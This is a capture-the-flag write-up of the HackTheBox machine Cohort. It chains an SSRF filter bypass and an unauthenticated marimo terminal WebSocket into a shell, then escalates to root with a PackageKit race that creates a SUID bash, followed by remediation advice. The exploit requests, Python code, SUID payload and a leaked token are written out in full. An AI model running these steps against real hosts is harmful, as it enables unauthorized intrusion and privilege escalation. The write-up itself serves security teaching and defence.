$ cat writeup.md / 2026.08.26

HTB Cohort writeup

Cohort is an Ubuntu HackTheBox machine built around a clean, multi-stage attack path. A public URL-validation feature contains an SSRF filter bypass, an internal nginx status endpoint discloses a randomized notebook hostname, and an outdated marimo server exposes an unauthenticated terminal WebSocket. Once on the host as marimo, a vulnerable PackageKit service provides the route to root.
This walkthrough was produced in an authorized HTB lab. Flag values are redacted, but their locations and the complete reproduction path are included.

Attack path at a glance

POST /api/validate SSRF
    ↓
127.1 bypasses the loopback filter
    ↓
/status discloses nb-1be3782a8afd3ad5.cohort.htb
    ↓
marimo 0.20.4 terminal WebSocket (CVE-2026-39987)
    ↓
Shell as marimo and /home/marimo/user.txt
    ↓
PackageKit 1.2.8-2ubuntu1.2 (CVE-2026-41651)
    ↓
Effective root and /root/root.txt

Reconnaissance

The target was reachable and returned TTL 63, suggesting a nearby Linux host:
ping -c 2 10.129.31.167
64 bytes from 10.129.31.167: icmp_seq=1 ttl=63
64 bytes from 10.129.31.167: icmp_seq=2 ttl=63
A full TCP scan found only three ports:
nmap -Pn -n -p- --min-rate 600 --max-retries 2 \
  --defeat-rst-ratelimit 10.129.31.167

nmap -Pn -n -sCV -p22,80,443 --version-all 10.129.31.167
Port Service Result
22/tcp SSH OpenSSH 9.6p1 Ubuntu
80/tcp HTTP nginx 1.24.0; redirects to HTTPS
443/tcp HTTPS nginx 1.24.0; cohort.htb application
The TLS certificate had cohort.htb as its common name and included *.cohort.htb as a subject alternative name. I used curl --resolve throughout, avoiding any need to edit /etc/hosts:
curl -ksS --resolve cohort.htb:443:10.129.31.167 \
  https://cohort.htb/

Finding the SSRF

The main site is a JavaScript single-page application. Reviewing its client bundle exposed /portal.html, which contains a “Client Insights” form. The form sends a URL to /api/validate:
POST /api/validate HTTP/1.1
Host: cohort.htb
Content-Type: application/json

{"url":"https://example.com/test.csv","format":"csv"}
The endpoint fetches the supplied URL on the server and returns a preview of the response. Literal localhost and 127.0.0.1 inputs were blocked, but shortened IPv4 notation was not. 127.1 is another representation of 127.0.0.1, and Python’s URL handling canonicalized it only after the application’s string-based check:
curl -ksS --resolve cohort.htb:443:10.129.31.167 \
  -H 'Content-Type: application/json' \
  --data '{"url":"http://127.1/","format":"csv"}' \
  https://cohort.htb/api/validate
The response reported a successful internal HTTP fetch. Controlled tests also showed that the backend always uses GET, follows redirects, strips attacker-provided headers and bodies, rejects raw CRLF, and only supports HTTP(S). That ruled out several higher-complexity SSRF techniques, but normal loopback HTTP enumeration remained possible. A restrained set of common ports revealed local HTTP services on 5000 and 8888 in addition to nginx. Port 8888 returned a marimo login page.

Turning the SSRF into service discovery

The decisive request was not a port scan. It was an internal-only nginx endpoint:
curl -ksS --resolve cohort.htb:443:10.129.31.167 \
  -H 'Content-Type: application/json' \
  --data '{"url":"http://127.1/status","format":"csv"}' \
  https://cohort.htb/api/validate
The response disclosed the reverse proxy’s upstream inventory:
{
  "service": "cohort-edge",
  "status": "ok",
  "generated_by": "nginx",
  "upstreams": [
    {"name":"marketing","host":"cohort.htb","root":"/var/www/cohort"},
    {"name":"insights-api","host":"cohort.htb","path":"/api/","target":"127.0.0.1:5000"},
    {
      "name":"notebooks",
      "host":"nb-1be3782a8afd3ad5.cohort.htb",
      "target":"127.0.0.1:8888",
      "note":"internal analyst workspace, not for external use"
    }
  ]
}
This leak matters because the notebook hostname has a random-looking suffix. A conventional 20,000-word virtual-host list did not find it, but nginx accepted the disclosed name externally and proxied WebSocket traffic to the loopback-only marimo service.

Initial access through marimo

Querying the notebook vhost revealed marimo 0.20.4:
curl -ksS \
  --resolve nb-1be3782a8afd3ad5.cohort.htb:443:10.129.31.167 \
  https://nb-1be3782a8afd3ad5.cohort.htb/api/version
0.20.4
This release is affected by CVE-2026-39987 / GHSA-2679-6mx9-h9xc. Versions before 0.23.0 expose /terminal/ws without performing the authentication check used by the rest of the application. Connecting to the endpoint forks a PTY and hands the client an interactive shell. Before using it, I downloaded the upstream 0.20.4 and 0.23.0 wheels and compared the terminal handlers. The vulnerable handler immediately accepted the WebSocket and created a PTY; the fixed handler added validate_auth() first. The following Python connection captures the essential exploit. It connects directly to the target IP while setting the Host and Origin values required by the hidden vhost:
python3 -m venv /tmp/cohort-venv
/tmp/cohort-venv/bin/pip install websocket-client
import ssl
import websocket

ws = websocket.create_connection(
    "wss://10.129.31.167/terminal/ws",
    host="nb-1be3782a8afd3ad5.cohort.htb",
    origin="https://nb-1be3782a8afd3ad5.cohort.htb",
    sslopt={"cert_reqs": ssl.CERT_NONE, "check_hostname": False},
    http_proxy_host=None,
    http_proxy_port=None,
)

ws.send("id; whoami; pwd\n")
print(ws.recv())
The server returned:
uid=1000(marimo) gid=1000(marimo) groups=1000(marimo)
marimo
/home/marimo
That gave command execution as the local marimo user without knowing the application’s token. The first objective was group-readable:
stat -c '%A %U:%G %n' /home/marimo/user.txt
cat /home/marimo/user.txt
-rw-r----- root:marimo /home/marimo/user.txt
[REDACTED]
User flag location: /home/marimo/user.txt

Local enumeration

The host was Ubuntu 24.04.4 LTS with kernel 6.8.0-136-generic. The shell user had no sudo access, no unusual groups, and no useful nonstandard SUID, SGID, capability, ACL, writable root file, custom socket, cron job, or timer. The marimo systemd command line exposed its application token:
--token-password YKQ6iPyO5kusNx0BpVAPfjP5
This token worked only for marimo. It was not a sudo, SSH, or operating-system password, and the terminal vulnerability did not require it. Several plausible-looking paths were checked and discarded:
  • SysmonForLinux 1.5.2 ran as root, but its directory, configuration, executables, and control paths were not writable. Reviewing the exact upstream source did not reveal an evidence-supported unprivileged command-execution route.
  • Dirty Frag and CopyFail prerequisites were explicitly mitigated through blocked kernel modules. Unprivileged user namespaces were disabled and ptrace_scope was 3.
  • The relevant mount and udisks flaws require a qualifying user or users entry in /etc/fstab; none existed.
  • The vulnerable open-vm-tools service-discovery plugin was not installed.
  • A bounded SSH check of site-derived usernames and contextual passwords found no valid login.
The productive lead came from the package security state:
pro security-status --format json
apt list --upgradable
dpkg-query -W packagekit packagekit-tools
installed: packagekit 1.2.8-2ubuntu1.2
fixed:     packagekit 1.2.8-2ubuntu1.5

Root through PackageKit

The installed PackageKit build was affected by CVE-2026-41651, a transaction-state time-of-check/time-of-use flaw. The attack works by racing two calls against the same D-Bus transaction:
  1. Submit InstallFiles(SIMULATE, dummy.deb). A simulated installation does not require the privileged PolicyKit authorization used for a real package install.
  2. Before its scheduled callback runs, call InstallFiles(NONE, payload.deb) on the same transaction.
  3. Vulnerable PackageKit versions overwrite the cached flags and package path even after the transaction has left the new state. The original callback then installs the payload as root using the authorization outcome from the simulated call.
I inspected two public implementations before execution. The selected Python implementation used local system D-Bus only, created two minimal Debian packages, and placed a simple post-install action in the payload. It contained no networking, download, persistence, or exfiltration logic. Its reviewed SHA-256 was:
b1f2d6e76ee490cabbb0d7480a13a416d18d876cdb44f70e1761842984521518
The payload copied /bin/bash to /tmp/.suid_bash and set mode 4755. Running the race produced the following relevant output:
[*] Step 1 : InstallFiles(SIMULATE=0x4, dummy) [async]
[*] Step 2 : InstallFiles(NONE=0x0, payload) [async]
[!] PK error 48: Failed to obtain authentication.
[+] SUCCESS: SUID bash at /tmp/.suid_bash
The authentication error belongs to the second call and does not mean the race failed. The earlier scheduled callback had already consumed the attacker-controlled transaction values. Using the helper with -p preserved its effective UID:
/tmp/.suid_bash -p
id
whoami
stat -c '%A:%U:%G:%n' /root/root.txt
cat /root/root.txt
uid=1000(marimo) gid=1000(marimo) euid=0(root) groups=1000(marimo)
root
-rw-r-----:root:root:/root/root.txt
[REDACTED]
Root flag location: /root/root.txt If a shell with real, effective, and saved UID 0 is needed, the effective-root process can call setuid(0):
python3 -c 'import os; os.setuid(0); os.execl("/bin/bash", "bash", "-p")'

Cleanup notes

The race sometimes makes PackageKit hit an assertion after installing the payload. The original cleanup logic also could not remove the root-owned helper from sticky /tmp because the shell’s real UID was still 1000, and immediate package removal could collide with PackageKit’s dpkg lock. Cleanup therefore used effective root to call setuid(0), waited for the legitimate package lock holder, removed every temporary payload package and file, reset the failed unit if necessary, and restarted PackageKit. Final verification showed:
temporary artifacts: none
payload packages:    none
dpkg audit:          clean
packagekit.service:  active/running
assessment processes: none
No user, SSH key, sudoers entry, service, scheduled job, or other persistence was created.

Why the chain worked

No single issue exposed the whole machine. The chain succeeded because multiple trust boundaries failed in sequence:
  • The URL validator made server-side requests but filtered raw strings instead of canonical destinations.
  • nginx exposed operational routing data to loopback, assuming local requests were trustworthy.
  • The randomized notebook vhost was externally routable even though its upstream was described as internal-only.
  • marimo’s terminal endpoint omitted authentication.
  • PackageKit exposed a privileged transaction service whose mutable state could be raced after a low-privilege authorization decision.
This is a good example of why “internal only” is not a security boundary when an SSRF primitive exists.

Remediation

For the SSRF and proxy layer:
  • Canonicalize and resolve a destination before applying policy. Reject loopback, private, link-local, and reserved addresses in every supported representation.
  • Pin the connection to the validated address and repeat validation after every redirect.
  • Apply an outbound allowlist and network-level egress restrictions to the fetcher.
  • Do not return internal response bodies or detailed connection errors to unauthenticated users.
  • Remove or strongly authenticate /status; never expose upstream hostnames and targets in public health data.
For marimo:
  • Upgrade to marimo 0.23.0 or newer.
  • Require authentication at the reverse proxy in addition to application authentication.
  • Disable terminal support if it is unnecessary.
  • Rotate the disclosed token and move it out of command-line arguments into a protected credential file or systemd credential.
For PackageKit:
  • Upgrade Ubuntu’s packagekit and packagekit-tools to at least 1.2.8-2ubuntu1.5.
  • Remove or disable PackageKit on servers that do not need it.
  • Until patching, explicitly deny unprivileged package install/remove PolicyKit actions.
  • Alert on repeated InstallFiles calls to one transaction, unexpected local package installations, PackageKit assertion crashes, and new SUID files in writable directories.
  • Mount /tmp with nosuid,nodev where operationally possible. This would block the helper technique, although the malicious package’s maintainer script would still execute as root.

Final result

The machine was fully compromised through an SSRF-to-RCE-to-LPE chain:
  • Initial access: marimo, UID 1000
  • User flag: /home/marimo/user.txt
  • Privilege escalation: PackageKit CVE-2026-41651
  • Root proof: euid=0(root) and whoami returned root
  • Root flag: /root/root.txt

References